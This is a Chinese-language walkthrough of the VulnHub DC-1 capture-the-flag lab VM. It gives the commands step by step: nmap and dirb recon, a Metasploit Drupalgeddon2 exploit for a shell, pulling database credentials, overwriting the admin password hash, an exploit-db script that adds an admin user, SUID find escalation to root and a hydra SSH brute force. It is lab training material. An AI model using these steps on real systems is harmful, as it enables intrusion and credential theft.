vulnhub DC-1 靶机渗透
准备:
环境:vmware15.5以上(我用的是16.0的)
攻击机:kali 2019以上(2021)
靶机:DC-1
靶机ip:192.168.184.30
攻击机ip: 192.168.184.26
下载安装靶机
靶机下载地址:https://www.vulnhub.com/entry/dc-1-1,292/

下好以后会有一个 DC-1.ova 文件

双击运行 会跳出导入虚拟机 设置一下名称和路径 就导入好了


在运行之前检查一下 该虚拟机的网络连接状态
编辑虚拟机设置—网络适配器—网络连接—桥接模式—确定

如果要反复实验的话,建议设一个快照

运行虚拟机

第一个默认的就行
进来后是这样的

出现这个页面说明 靶机开启成功了
之后可以最小化它 可以不用管它了~
准备就绪 开干吧~
一、信息收集
查看自己攻击的IP 来确定网段
ipconfig

我的IP是192.168.184.26 那网段是192.168.184.0
扫描网段内的存活主机
nmap -sP 192.168.184.0/24

发现IP为:192.168.184.30 设备是vmware
192.168.184.0/24 范围192.168.184.0~192.168.184.255 扩展 192.168.184.0/16 范围192.168.0.0~192.168.255.255
访问一下看看

看来判断没错
下一步收网站集的信息
1、我们使用nmap扫描网站开启的端口及服务
nmap -A -p1-65535 -T4 192.168.184.30

-A 探测目标主机操作系统类型
-p1-65535 探测全部端口
-T <0-5> 设置时间模板,值越小,IDS报警几率越低
分析:
1、它开启了22端口 ssh服务 可能存在ssh弱口令
2、默认端口80端口 http服务 可能找到一些网站的信息 网站使用drupal7 一个cms管理系统
3、111端口 udp服务
4、其他端口及服务
2、看看robots.txt有没有有用的信息
每个网站几乎都有robots.txt
它是搜索引擎通过一种程序robot(又称spider),自动访问互联网上的网页并获取网页信息

没有什么有用的信息,撤
3、目录扫描
dirb http://192.168.184.30

依旧没有有用的信息
dirb是kali自带的扫描工具 如果是win也可以用御剑,,,不多bb了
到这基本渗透思路有了
1、利用drupal7 的漏洞
2、可以破解ssh 登入
3、 可以尝试爆破网站登入的用户名和密码
4.去MSF看看有没有可利用的漏洞
msfconsole -q
msf6 > search Drupal

-q 表示静默打开msfconsole
5、利用存在漏洞
这里我用的是1号
drupalgeddon2 漏洞(CVE-2018-7600)
use 1

6、看一下payload的参数
show options

yes的都是要设置的 这边只有RHOSTS 没有payload
7、设置RHOSTS
set rhosts 192.168.184.30

rhost 的参数是 目标IP
8、检查刚刚的设置
show options

9、开始攻击
exploit

出现 meterpreter > 表示成功反弹shell
10、进入shell
shell

成功后 光标会卡在这
别慌常规操作 验证一下就知道了
whoami

发现命令可以用
那就说明我们进来的
权限很低 是自带的www用户
11、美化一下
python -c 'import pty;pty.spawn("/bin/bash")'

12、看看敏感文件里有什么
cat /etc/passwd

可以看到这里还有一个用户 flag4
待会儿看能不能进flag4用户里看看 ssh看能不能连进去
还有一个敏感文件看不了 没权限
cat /etc/shadow
、
shadow root用户才有权限访问
17、遍历根目录下的文件
ls

第一个flag在这
18、查看flag1.txt
cat flag1.txt

获得了一个提示:每个好的CMS都需要一个配置文件——你也是。
19、查看CMS配置文件
cat /sites/default/settings.php

第二个flag在这
暴力和字典攻击不是最常见的
只有获得访问权限的方法(您将需要访问权限)。
你能用这些证书做什么?
数据库的用户名和密码也在这
(配置文件中有数据库的用户名和密码)
20、去数据库看看
mysql -h localhost -u dbuser -p
R0ck3t

mysql -h 主机地址 -u 用户名 -p 用户密码
出现mysql> 表示连接成功
21、查看数据库中的库名
show databases;

information_schema 是系统自带的 它相当于户口本 SQL注入中常用
drupaldb 这个网站的数据库
22、进入drupaldb 库
use drupaldb;

23、查看数据库中的表名
show tables;

在结尾一点 可以看到有一个 users 表(图太长了就不放这里)
一般用户名和密码都储存在那里
24、看看users表里有什么
select * from users;

可以看到有 udi 用户名 密码的hash值
思路:把admin的密码的hash改成我们想要的 然后登入到网站后台看看有什么
25、改admin密码
方法一:
(1)新开一个shell
./scripts/password-hash.sh 123456

文件 /scripts/password-hash.sh是对数据库加密的文件,使用该文件可以生成hash
(2)将刚刚生成的hash值 更新到 admin 密码字段里
mysql>update drupaldb.users set pass="$S$DFkrSbyBJBNy/bH.BQXJJ5CyuwZ2g0M1NNFQd5K0uQbNetQMrr2c" where uid=1
—> ;

方法二:
利用drupal漏洞,添加admin用户
(1)新开一个命令行 查看drupal的利用漏洞
searchsploit drupal
、
该攻击脚本是添加admin权限的用户
(2)使用 php/webapps/34992.py
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.184.30 -u admin1 -p admin1

添加 账号admin1 密码admin1
26、去登入 admin 123456 admin1 admin1 都可以

登入后界面
27、flag3在这

28、返回www-data终端去flag4 home文件夹下看看
cd /home/flag4
ls
cat flag4.txt

29、我们回到www-data命令行进行去 提权
方法一:
flag3中提示可以用find可执行命令来进行提权
(1)find / -perm -4000

find命令本身就是root权限
(2)ls -lh /usr/bin/find
看一下权限 发现有可执行的权限
(3)利用find提权
find . -exec /bin/sh \;

方法二:
(1)利用find执行netcat 开启监听
touch 123
find / -name 123 -exec "whoami" \;
find / -name 123 -exec "/bin/sh" \;

因为所有find执行的命令都是root权限,利用netcat,将它提权为root权限
方法三:
利用find suid提权
find / -perm -u=s -type f 2>/dev/null;
find / -type f -name getflag -exec "/bin/sh" \;
30、看一下当前的的权限
whoami

31、看看 root目录下有什么
cd root
ls

最后一个flag在这
cat thefinalflag.txt

在最后我们破解一下flag4用户的ssh登入口令
hydra -l flag4 -P /usr/share/john/password.lst -t 4 ssh://192.168.184.30

用hydra+john自带的字典 来破解
username:flag4 password:orange
ssh登入
ssh flag4@192.168.184.30
flag4@192.168.184.30's password: orange

到这就结束了~
蟹蟹曾郡老师以及帮助过我的人~
不定期更新,感觉很有料关注一下呗~~~

浙公网安备 33010602011771号